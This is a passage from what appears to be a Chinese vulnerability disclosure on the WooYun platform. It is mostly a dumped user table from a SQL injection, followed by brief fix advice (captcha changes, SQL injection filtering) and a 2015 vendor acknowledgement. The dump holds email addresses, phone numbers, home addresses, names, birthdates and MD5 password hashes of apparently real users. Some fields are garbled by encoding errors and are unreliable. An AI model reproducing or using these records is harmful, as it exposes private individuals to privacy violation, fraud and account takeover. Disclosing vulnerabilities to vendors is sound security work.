| 301 | 455 | 5027406 | 20 | 3158 | chinxf88@163.com | 13660440686 | <blank> | ŐžśĚ | 510170 | 0 | 西华路第一津街13号807房 | 3630 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | chinxf | 最凅瘀 | 1402885032 | 1439946883 | 韁栠 | 2010-12-29 | 1 | 1402885032 | 1387775675 |
| 302 | 455 | 5429907 | 20 | 0 | ada12131020@126.com | 13602233498 | <blank> | ŐžśĚ | 510000 | 0 | 越秀区人民北路875号金域体检中心 | -15 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | kingadahe | 何娟 | 1402885032 | 1292545071 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 303 | 455 | 339758 | 20 | 3155 | 328113382@qq.com | 13268061289 | <blank> | ŐžśĚ | 510406 | 0 | 机场路南云东街1号 | 120 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | nkxiaosan | 阮小姐 | 1402885032 | 1442368898 | 文迪 | 2009-12-19 | 1 | 1402885032 | 1429860419 |
| 304 | 0 | 339022 | 0 | 0 | <blank> | 0 | <blank> | ŐžśĚ | 0 | 0 | <blank> | 10 | 0 | e10adc3949ba59abbe56e057f20f883e | 0 | 0 | 小树枝 | <blank> | 1402885032 | 1291601250 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 305 | 460 | 19112 | 20 | 3187 | candy1861@hotmail.com | 13809707769 | <blank> | ŐžśĚ | 528248 | 0 | 南海区黄岐泌冲松涛新苑三巷5号 | 515 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | Ǿޱ520 | 张艳萍 | 1402885032 | 1416102620 | 莫子炜 | 2010-09-27 | 1 | 1402885032 | 0 |
| 306 | 455 | 317246 | 20 | 0 | hyh186@126.com | 15218818188 | <blank> | ŐžśĚ | 510430 | 0 | 白云区石井街大冈村9号,大冈小学 | 15 | 2 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | hyh186 | Ίιθ€\xbbͺ | 1402885032 | 1425391480 | ş\xe9ČďČď | 2009-10-06 | 0 | 1402885032 | 0 |
| 307 | 455 | 2911636 | 20 | 3155 | 365753324@qq.com | 13126421677 | <blank> | ŐžśĚ | 510430 | 1 | | 440 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | 栠栠8 | 栠悕 | 1402885032 | 1439021341 | 있있 | 2014-06-13 | 1 | 1402885032 | 1431082016 |
| 308 | 455 | 133983 | 20 | 0 | renata214@163.com | 15986402462 | <blank> | ŐžśĚ | 510280 | 0 | 海珠区保利花园馨竹街14号702 | 85 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | renata | Ŕľ\xcdđĎź | 1402885032 | 1327570850 | 李羽深 | 2007-09-09 | 0 | 1402885032 | 0 |
| 309 | 455 | 3635236 | 20 | 0 | prisilla_lin@126.com | 15360020903 | <blank> | ŐžśĚ | 510400 | 0 | 黄石东路410号703 | 65 | 0 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | prisilla_lin | 林忻 | 1402885032 | 1415974623 | <blank> | 0000-00-00 | 0 | 1402885032 | 0 |
| 310 | 455 | 110317 | 20 | 0 | annkennylin@163.com | 13580337496 | <blank> | ŐžśĚ | 510660 | 0 | | 100 | 1 | e10adc3949ba59abbe56e057f20f883e | 1 | 0 | annkennylin | 林和安 | 1402885032 | 1381895877 | 张大中 | 2007-08-03 | 0 | 1402885032 | 0 |
+-----+---------+------------+-------------+-------------+-------------------------+-------------+---------+--------+---------+---------+---------------------------+---------+----------+----------------------------------+----------+----------+-----------------------------+------------------+------------+------------+-----------+------------+------------+-------------+-------------+

漏洞证明:

2.png


1.png

修复方案:

1.修改验证码机制
2.sql注入过滤

版权声明:转载请注明来源 小又又@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-07 21:04

厂商回复:

非常感谢

最新状态:

暂无


漏洞评价:

评论